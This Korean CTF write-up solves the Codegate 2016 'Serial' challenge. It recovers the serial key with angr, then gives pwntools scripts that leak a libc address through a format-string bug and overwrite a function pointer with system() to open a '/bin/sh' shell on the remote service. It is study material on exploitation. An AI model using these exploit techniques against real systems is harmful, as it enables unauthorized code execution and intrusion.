Codegate 2016 예선 문제 중 하나인 Serial이다.
Serial.zip
<프로그램 화면>
맨처음 이 프로그램을 실행시키기 위해서는 serial을 입력해야 한다.
<IDA를 이용하여 본 0x400cbb(check_serial)>
serial을 알아내기 위해서 python이나 c언어로 위 함수를 직접 모방할 수도 있지만, 복잡한 코드로 구성되어있기 때문에 이번에는 angr를 사용해보기로 했다.
| import angr def main(): p = angr.Project("serial", load_options={'auto_load_libs': False}) ex = p.surveyors.Explorer(find=(0x400f2e), avoid=(0x400d2c, 0x400e82)) ex.run() return ex.found[0].state.posix.dumps(0).strip('\0\n') if __name__ == '__main__': print main() | cs |
<serial값을 알아내기 위한 python - angr code>
인터넷에 돌아다니는 angr 소스에 find와 avoid 주소만 바꾼 것이다.
find=0x400f2e 는 serial을 맞추면 나오는 Smash me!를 출력하는 곳이고, avoid=0x400d2c, 0x400e82는 각각 number only와 Wrong!을 출력하고 exit하는 곳이다. (사실 find주소만 제대로 되면 avoid 주소는 시간 단축 외에는 쓸모가 없는거 같다.)
<python - angr 결과>
위 결과에서 615066814080이 serial값이 된다.
<프로그램 화면>
올바른 serial key를 입력하면 위와 같이 4개의 메뉴가 등장하게 된다.
여기서 주의깊게 봐야할 메뉴는 1. Add와 3. Dump다.
<0x400a27(add)>
<0x4009dd<dump>
1. Add에서 32byte의 string을 넣을 수 있는데, 24-32byte는 3. Dump에서 호출할 함수의 주소로 활용된다. 기본적으로 24byte에 0x40096e가 들어가지만, 주소값이 들어가고 문자열을 복사하기 때문에 덮어씌울 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | from pwn import * import time proc = remote('localhost', 9002) def send(value) : proc.sendline(value) def recv() : print(proc.recvrepeat(0.1)) recv() send("615066814080") # serial recv() send("1") # add recv() send("%19$p " + "\x90"*18 + "\x90\x07\x40\x00") recv() send("3") # dump - print(__libc_start_main_ret) print(proc.recvline()) # func : temp = proc.recvline() main_ret = int(temp[:temp.find(' ')], 16) print('main_ret : ' + hex(main_ret)) | cs |
<addr python code>
<프로그램 결과>
<libc-database libc버전>
위 3. Dump에서 printf함수를 호출하면 fsb를 일으킬 수 있다. 이를 이용해서 main함수의 return값인 __libc_start_main_ret를 구하면, libc 버전을 구할 수 있다.
/* 항상 하던대로 "%p"*X를 사용하면 index가 12인 값밖에 구하지 못하기 때문에 main_ret를 구하지 못한다. 이를 어떻게 하나 write-up을 보다가 찾은게 %19$p인데, 19$가 index를 지정해주는거 같다. Linux에서만 적용되는거 같지만, 좀 더 연구할만한 가치는 있는거 같다. */
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | from pwn import * import time proc = remote('localhost', 9002) def send(value) : proc.sendline(value) def recv() : print(proc.recvrepeat(0.1)) recv() send("615066814080") # serial recv() send("1") # add recv() send("%19$p " + "\x90"*18 + "\x90\x07\x40\x00") recv() send("3") # dump - print(__libc_start_main_ret) print(proc.recvline()) # func : # get system address temp = proc.recvline() main_ret = int(temp[:temp.find(' ')], 16) sys_addr = main_ret - 0x20830 + 0x45390 recv() send("2") # remove recv() send("0") # index : 0 recv() send("1") # add recv() send("/bin/sh;" + " "*16 + p64(sys_addr)[:-2]) recv() send("3") # dump - system("sh') recv() time.sleep(1) # wait to open shell send("ls -l serial") recv() | cs |
<exploit python code>
<exploit 결과>
1. Add로 넣는 문자열 중간에는 NULL이 있을 수 없다. 이 문제점을 안고 /bin/sh 문자열을 어떻게 넣나 찾아보던 중에 명령어가 세미콜론(;)으로 구분되는 것을 보고 위와 같이 exploit 하였다.
원격 접속이기 때문에 recv받을 때까지 기다리는 시간을 충분히 해줘야 한다. ex. recvrepeat(0.1)
<checksec.sh>
처음에는 NX를 확인하지 않고 shell code를 넣어서 문제를 풀려고 했다. 그게 shellcode - exploit.py 파일이다.
※ kknock 서버와 내 vm - ubuntu를 왔다갔다 거리면서 문제를 풀어서 user가 변하는 모습을 볼 수 있다. 실제 문제를 푼 곳은 vm - ubuntu다. kknock 서버에서는 구한__libc_start_main_ret에 맞는 libc버전이 나오지 않아, 문제를 풀지 못했다.
★ angr와 libc-database를 조금 야매로 한거 같아서 나중에 제대로 조사해봐야겠다.